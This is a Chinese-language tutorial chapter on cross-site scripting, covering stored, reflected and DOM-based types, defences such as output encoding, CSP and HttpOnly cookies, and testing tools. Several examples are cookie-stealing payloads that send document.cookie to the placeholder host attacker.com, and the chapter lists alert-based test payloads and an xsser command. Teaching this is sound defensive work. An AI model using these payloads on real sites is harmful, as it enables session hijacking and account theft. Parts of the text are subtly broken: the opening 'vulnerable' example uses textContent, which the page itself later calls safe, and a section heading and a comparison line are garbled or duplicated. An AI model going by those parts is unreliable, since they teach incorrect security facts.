跳到主要内容

XSS 跨站脚本攻击

XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 应用中最常见的前端安全漏洞。攻击者通过在页面中注入恶意 JavaScript 代码,当其他用户访问该页面时,恶意脚本会在用户浏览器中执行。本章将详细介绍 XSS 的原理、类型和防护方法。

什么是 XSS?

XSS 攻击的核心是将恶意代码注入到 Web 页面中,这些代码会在受害者的浏览器中执行。攻击者可以利用 XSS :

  • 窃取用户 Cookie 和会话
  • 劫持用户账户
  • 执行任意操作
  • 传播恶意软件
  • 进行钓鱼攻击

XSS 的原理

XSS 攻击的基本原理是:

  1. 攻击者找到应用中将用户输入直接输出到页面的地方
  2. 攻击者构造包含恶意 JavaScript 的输入
  3. 应用没有正确处理这个输入,将其包含在页面中
  4. 当其他用户访问这个页面时,恶意脚本在他们的浏览器中执行

示例

假设一个简单的评论系统:

<!-- 展示评论 -->
<div class="comments">
<!-- 用户输入直接显示 -->
<p>用户名:<span id="username"></span></p>
<p>内容:<span id="content"></span></p>
</div>

<script>
// 模拟获取并显示评论
document.getElementById('username').textContent = getQueryParam('name');
document.getElementById('content').textContent = getQueryParam('comment');
</script>

正常访问:

http://example.com/page?name=张三&comment=很好

攻击者输入:

http://example.com/page?name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&comment=test

当其他用户访问这个链接时,他们的 Cookie 会被发送到攻击者的服务器!

XSS 的三种类型

1. 存储型 XSS(Stored XSS)

恶意脚本被永久存储在目标服务器上。当用户访问包含恶意脚本的页面时,脚本会自动执行。

攻击流程

  1. 攻击者将恶意脚本提交到服务器
  2. 服务器将脚本存储在数据库中
  3. 其他用户访问包含该脚本的页面
  4. 恶意脚本在用户浏览器中执行

常见场景

  • 论坛帖子
  • 评论区域
  • 用户资料
  • 产品评价

示例

<!-- 攻击者提交的评论内容 -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

这个评论被存储后,所有查看该评论的用户都会触发恶意脚本。

2. 反射型 XSS(Reflected XSS)

恶意脚本作为用户请求的一部分被服务器接收,然后未经处理地反射回用户浏览器。

攻击流程

  1. 攻击者构造包含恶意脚本的 URL
  2. 用户点击恶意链接
  3. 服务器将 URL 中的参数包含在响应页面中
  4. 恶意脚本在用户浏览器中执行

常见场景

  • 搜索结果
  • 错误消息
  • URL 参数

示例

<!-- 恶意链接 -->
http://example.com/search?q=<script>alert('XSS')</script>

<!-- 服务器响应 -->
<h1>搜索结果: <script>alert('XSS')</script></h1>

3. DOM 型 XSS(DOM-based XSS)

完全在客户端发生的 XSS,恶意脚本通过操作 DOM 来执行,不需要服务器参与。

攻击流程

  1. 攻击者构造包含恶意脚本的 URL
  2. 用户点击链接
  3. 客户端 JavaScript 从 URL 读取数据并操作 DOM
  4. 恶意脚本执行

示例

<!-- 页面 JavaScript -->
<script>
// 从 URL 读取数据并直接写入页面
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</script>

<!-- 恶意 URL -->
http://example.com/page.html?name=<script>alert('XSS')</script>

XSS 的危害

XSS 攻击可以导致:

  1. 会话劫持 - 窃取 Cookie,冒充用户
  2. 身份盗窃 - 获取用户敏感信息
  3. 钓鱼攻击 - 伪造登录页面
  4. 恶意重定向 - 将用户导向恶意网站
  5. 键盘记录 - 记录用户键盘输入
  6. 蠕虫传播 - 在社交网络上快速传播
  7. 广告点击欺诈 - 自动化点击广告

XSS 防护

1. 输出编码(最基本)

将用户输入的特殊字符转换为安全的形式,防止浏览器将其解释为代码。

HTML 编码

// 手动编码函数
function escapeHtml(text) {
const map = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#039;'
};
return text.replace(/[&<>"']/g, m => map[m]);
}

// 使用
const safeContent = escapeHtml(userInput);
element.innerHTML = safeContent;

Java 框架

// Spring 使用 th:text 自动进行 HTML 转义
// 在 Thymeleaf 模板中
<span th:text="${userInput}"></span>

// JSTL
<c:out value="${userInput}"/>

2. 使用安全 API

尽量使用不会执行脚本的 API:

// 不安全
element.innerHTML = userInput;

// 安全
element.textContent = userInput;

// 或者
element.innerText = userInput;

3. Content Security Policy(CSP)

CSP 是一个额外的安全层,用于限制页面可以执行的脚本来源。

<!-- HTTP 响应头 -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

<!-- 或者在 meta 标签中 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted.cdn.com">

这会阻止:

  • 内联脚本(<script> 标签)
  • 来自不受信任域的脚本
// 设置安全 Cookie
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true); // 禁止 JavaScript 访问
cookie.setSecure(true); // 仅通过 HTTPS 传输
cookie.setSameSite("Strict"); // 防止 CSRF
response.addCookie(cookie);

5. 输入验证

虽然输入验证不能完全防止 XSS,但可以提供额外保护:

public String sanitizeInput(String input) {
// 只允许安全字符
if (!input.matches("^[a-zA-Z0-9\\s.,!?]+$")) {
return ""; // 拒绝不符合模式的内容
}
return input;
}

6. 框架的自动防护

现代框架通常内置了 XSS 防护:

  • React:默认对插入的内容进行转义
  • Angular:自动清理危险值
  • Vue:提供 v-html 指令来处理信任的内容
// React 自动转义
const Component = ({ userInput }) => (
<div>{userInput}</div> // 自动转义
);

// 只有明确使用 dangerouslySetInnerHTML 才会执行原始 HTML
const Component = ({ userInput }) => (
<div dangerouslySetInnerHTML={{ __html: userInput }} />
);

各语言的最佳实践

Java(Spring)

// 使用 @ControllerAdvice 统一处理输出编码
@ControllerAdvice
public class XssProtectionAdvice implements ResponseBodyAdvice<Object> {
@Override
public Object beforeBodyWrite(Object body, MethodParameter returnType,
MediaType contentType, Class<? extends HttpMessageConverter<?>> converterType) {
if (body instanceof String) {
return StringEscapeUtils.escapeHtml4((String) body);
}
return body;
}
}

Python(Flask)

# 使用 Jinja2 自动转义
@app.template_filter('escape')
def escape(s):
return Markup.escape(s)

# 在模板中使用
{{ user_input }}
{{ user_input | escape }}

JavaScript(Node.js)

// 使用 validator.js
const validator = require('validator');

function sanitizeInput(input) {
return validator.escape(input);
}

// 或者使用 DOMPurify(服务端)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const clean = DOMPurify.sanitize(dirty);

检测和测试 XSS

手动测试

测试以下 payload:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

自动化工具

  1. Burp Suite Scanner - 自动发现 XSS 漏洞
  2. OWASP ZAP - Web 应用安全扫描器
  3. xsser - XSS 检测工具
# 使用 xsser
xsser -u "http://target.com/search?q=test"

浏览器扩展

  • DOM Invader - Burp Suite 的浏览器扩展,专门检测 DOM XSS

实际攻击案例

案例 1:存储型 XSS

攻击者在论坛帖子中嵌入:

<script>
// 获取当前用户的 cookie
var cookie = document.cookie;
// 发送到攻击者服务器
new Image().src = 'http://attacker.com/log?c=' + encodeURIComponent(cookie);
</script>

当其他用户查看这个帖子时,他们的会话 Cookie 会被窃取。

案例 2:反射型 XSS

搜索功能的 URL:

http://example.com/search?q=关键词

恶意链接:

http://example.com/search?q=<script>document.location='http://attacker.com/?'+document.cookie</script>

案例 3:DOM 型 XSS

页面代码:

var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome, ' + name;

恶意 URL:

http://example.com/page.html#<img src=x onerror=alert(1)>

CSP 实战配置

基础配置

Content-Security-Policy: 
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';

允许 Google Analytics

Content-Security-Policy: 
default-src 'self';
script-src 'self' https://www.google-analytics.com;
connect-src 'self' https://www.google-analytics.com;

严格模式(推荐)

Content-Security-Policy: 
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self';
style-src 'self';
base-uri 'self';
form-action 'self';

安全测试清单

在开发和测试过程中,检查以下几点:

  1. 所有用户输入 - 是否经过适当的转义?
  2. 所有输出点 - 是否正确编码?
  3. JavaScript API - 是否使用了安全的 API?
  4. Cookie - 是否设置了 HttpOnly 和 Secure?
  5. CSP - 是否配置了内容安全策略?
  6. 第三方内容 - 是否验证了外部脚本的来源?

XSS 与其他攻击的区别

  • XSS vs CSRF:XSS 在用户浏览器执行,CSRF 利用用户的会话
  • XSS vs SQL 注入:XSS 针对浏览器,SQL 注入针对数据库
  • XSS vs CSRF:XSS 需要用户访问恶意页面,CSRF 只要请求即可

小结

XSS 是一种严重的前端安全漏洞,攻击者可以通过注入恶意脚本来:

  1. 窃取用户数据 - Cookie、会话信息
  2. 劫持用户会话 - 冒充用户操作
  3. 传播恶意内容 - 在合法网站中嵌入恶意代码

防护要点:

  1. 输出编码 - 将特殊字符转换为安全形式
  2. 使用安全 API - 避免 innerHTML,使用 textContent
  3. 内容安全策略(CSP) - 限制脚本执行来源
  4. HTTP Cookie 安全 - 设置 HttpOnly、Secure、SameSite
  5. 输入验证 - 白名单验证,但不是唯一防护
  6. 框架防护 - 利用框架的自动转义功能

记住:永远不要信任用户输入,所有输出都应该进行适当的编码!